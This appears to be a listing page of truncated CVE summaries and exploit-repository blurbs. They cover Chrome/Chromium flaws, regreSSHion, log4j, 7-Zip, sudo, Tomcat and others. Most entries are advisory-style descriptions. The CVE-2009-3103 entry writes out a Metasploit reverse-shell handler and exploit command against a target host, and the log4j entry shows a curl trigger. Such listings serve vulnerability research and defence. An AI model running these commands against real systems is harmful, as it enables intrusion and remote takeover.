CVE-2026-87610

A flaw was found in Omnibox in Google Chrome. A remote attacker could exploit an incorrect authorization vulnerability by sending a specially crafted HTML page. This could allow the attacker to bypass system access restrictions and gain access to a privileged page...

CVE-2026-87513

A flaw was found in ControlledFrame in Chromium. A remote attacker could leverage social engineering techniques to exploit a missing authorization vulnerability. By tricking a user into interacting with a specially crafted HTML page, the attacker could bypass system access restrictions...

CVE-2026-87541

A flaw was found in chromium-browser. A remote attacker, who has already compromised the renderer process, could exploit this vulnerability by crafting a malicious HTML page. This could lead to an information leak in the Navigation component, allowing the attacker to bypass site isolation...

CVE-2026-87462

A flaw was found in Google Chrome. A remote attacker, by leveraging social engineering, could exploit a user interface UI misrepresentation in the Federated Credential Management FedCM component. This vulnerability allows the attacker to spoof UI elements through a specially crafted HTML page,...

CVE-2026-87440

A flaw was found in Google Chrome. This vulnerability, an out-of-bounds read in the Media component, allows a remote attacker to execute arbitrary code. By enticing a user to visit a specially crafted HTML page, the attacker can exploit this flaw to run malicious code within the browser's securit...

CVE-2024-6387-Check

Comprobador de CVE-2024-6387 CVE-2024-6387 Checker es una herramienta rápida y eficiente para detectar servidores OpenSSH vulnerables al exploit regreSSHion. Escanea rápidamente múltiples IPs, nombres de dominio y rangos CIDR para identificar riesgos y ayudar a asegurar tu infraestructura...

CVE-2022-39959

CVE-2022-39959 Affected Vendor- Panini https://www.panini.com/en Affected Product - Panini Everest Engine Affected Version - 2.0.4 There is an Unquoted Service Path in Everest EngineEverestEngine.exe in version 2.0.4 on Windows. This allows an unauthorized local user to insert arbitrary code into...

cve-2018-4407

CVE-2018-4407 reproduction This is a simple reproduction of CVE-2018-4407, which allows you to crash macOS and iOS devices with OSes from before late 2018. To use the program, replace sourceStr and destStr in sendbadopt.go with your IP address and the victim's IP address, respectively. After...

CVE-2009-3103

CVE-2009-3103 check vuln SMB nmap --script smb-vuln -p139,445 IP-TARGET set listener sudo msfconsole use exploit/multi/handler set payload windows/meterpreter/reversetcp set LHOST YOUR-KALI-IP set LPORT 80 run run exploit python3 exploit.py IP-TARGET YOUR-KALI-IP 80 windows/meterpreter/reversetcp...

CVE-2026-87629

A flaw was found in chromium-browser. A remote attacker, by leveraging social engineering tactics and a specially crafted HTML page, could exploit an incorrect authorization vulnerability in the Sources component. This could lead to the disclosure of sensitive information...

CVE-2026-87597

A flaw was found in Google Chrome's CustomTabs component on Android. A remote attacker, by leveraging a co-installed application, could exploit a user interface UI misrepresentation vulnerability. This could allow the attacker to spoof the address bar, potentially deceiving users about the...

CVE-2022-46485

CVE-2022-46485 ngDoS - ngSurvey Notes: The "slider" question may also be vulnerable with a large integer instead of a string. It could not be confirmed in my local environment. Exploitation steps Open the survey page and find a text or comment field. Fill the survey normally. In the text or comme...

Audit-BlackBox-Web-to-Root

Pentest Lab: Web and System Exploitation Chain Drupal to Root Disclaimer This project was carried out in a controlled and isolated laboratory environment for educational and academic purposes. No real infrastructure was targeted. The goal is to learn how to secure systems by understanding attack...

CVE-2025-32462

CVE-2025-32462 - Exploit de Bypass de Host de Sudo Descubrimiento Original Esta vulnerabilidad fue descubierta por Rich Mirch. Más detalles se pueden encontrar en: https://cxsecurity.com/issue/WLB-2025070022 Acerca de Este script es un exploit para CVE-2025-32462, que permite la escalada de...

ChromeSHELFLoader

Chrome SHELF Loader An exploit for CVE-2020-6418 implementing a SHELF Loader. Published as part of Tmp.0ut volume 2...

cve-2021-44228--spring-hibernate

CVE-2021-44228 POC - Spring / Hibernate This POC uses Spring / Hibernate, however a similar approach of rmi - deserialization could be used to trigger any deserialization vulnerability TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-bina...

CVE-2025-55188-7z-exploit

CVE-2025-55188-7z-exploit 7-Zip Symlink Arbitrary File Write PoC CVE-2025-55188 Description This proof-of-concept demonstrates CVE-2025-55188 , a vulnerability in 7-Zip versions prior to 25.01. The flaw occurs because 7-Zip does not properly handle symbolic links during extraction, allowing a...

cve-2021-44228-rce-poc

CVE-2021-44228 Remote Command Execution PoC This repository allows security researchers to experiment with remote code execution by offering an implementation of an attack server that loads a custom exploit on a vulnerable application that contains log4j. ⚠️ The tool is intended for self-assessmen...

Tomcat-CVE_2025_24813

Tomcat CVE-2025-24813 playground Exploit was forked from https://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.md did not work for me Content 1. ROOT.war is a minimal app with one servlet including apache-common-3.1 and spawing a session 2. ysoserial.jar taken original from ysoserial...

CVE-2026-87592

A flaw was found in chromium-browser. A remote attacker could exploit an out-of-bounds read vulnerability in the Tint component by enticing a user to visit a specially crafted HTML page. This could potentially allow the attacker to read sensitive memory within the browser's sandbox, a security...